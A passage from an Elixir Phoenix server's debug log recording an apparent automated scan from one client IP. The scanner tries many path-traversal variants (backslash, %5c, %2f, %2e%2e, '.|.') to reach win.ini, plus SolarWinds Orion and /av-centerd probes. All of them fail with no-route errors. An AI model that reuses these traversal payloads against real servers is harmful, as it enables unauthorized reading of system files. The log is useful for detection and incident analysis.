    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:30.800000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52462] GET /..\..\..\..\..\..\..\..\..\..\windows\win.ini
[Thu Sep  3 07:58:30.827000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52462] ** (Phoenix.Router.NoRouteError) no route found for GET /..\..\..\..\..\..\..\..\..\..\windows\win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:31.471000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52464] GET /..\..\..\..\..\..\..\..\..\..\winnt\win.ini
[Thu Sep  3 07:58:31.511000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52464] ** (Phoenix.Router.NoRouteError) no route found for GET /..\..\..\..\..\..\..\..\..\..\winnt\win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:32.233000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52480] GET /%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
[Thu Sep  3 07:58:32.264000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52480] ** (Phoenix.Router.NoRouteError) no route found for GET /%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:32.947000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52490] GET /%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwinnt%5cwin.ini
[Thu Sep  3 07:58:32.972000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52490] ** (Phoenix.Router.NoRouteError) no route found for GET /%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwinnt%5cwin.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:33.636000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53406] GET /%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin%2eini
[Thu Sep  3 07:58:33.673000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53406] ** (Phoenix.Router.NoRouteError) no route found for GET /%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin%2eini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:34.309000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53438] GET /%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwinnt%5cwin%2eini
[Thu Sep  3 07:58:34.327000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53438] ** (Phoenix.Router.NoRouteError) no route found for GET /%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwinnt%5cwin%2eini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:34.979000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53440] GET /%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini
[Thu Sep  3 07:58:35.006000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53440] ** (Phoenix.Router.NoRouteError) no route found for GET /%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:35.044000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53422] GET /api2/Localization/SolarWinds.Orion.SamAppOptics.Strings.dll
[Thu Sep  3 07:58:35.070000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53422] ** (Phoenix.Router.NoRouteError) no route found for GET /api2/Localization/SolarWinds.Orion.SamAppOptics.Strings.dll (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:35.188000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53444] GET /Orion/Login.aspx
[Thu Sep  3 07:58:35.210000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53444] ** (Phoenix.Router.NoRouteError) no route found for GET /Orion/Login.aspx (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:35.630000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53460] GET /%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwinnt%2fwin.ini
[Thu Sep  3 07:58:35.675000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53460] ** (Phoenix.Router.NoRouteError) no route found for GET /%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwinnt%2fwin.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:35.766000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53462] GET /
[Thu Sep  3 07:58:35.767000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:53462] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:58:35.768000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53462] Sent 200 in 1ms
[Thu Sep  3 07:58:35.844000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53476] GET /Orion/Login.asp
[Thu Sep  3 07:58:35.864000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53476] ** (Phoenix.Router.NoRouteError) no route found for GET /Orion/Login.asp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:36.275000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53488] GET /.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./windows/win.ini
[Thu Sep  3 07:58:36.310000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53488] ** (Phoenix.Router.NoRouteError) no route found for GET /.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./windows/win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:36.960000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53504] POST /av-centerd
[Thu Sep  3 07:58:36.987000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53504] ** (Phoenix.Router.NoRouteError) no route found for POST /av-centerd (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:37.002000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53492] GET /.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./winnt/win.ini
[Thu Sep  3 07:58:37.020000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53492] ** (Phoenix.Router.NoRouteError) no route found for GET /.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./winnt/win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:37.646000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53518] GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/windows/win.ini
[Thu Sep  3 07:58:37.678000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53518] ** (Phoenix.Router.NoRouteError) no route found for GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/windows/win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
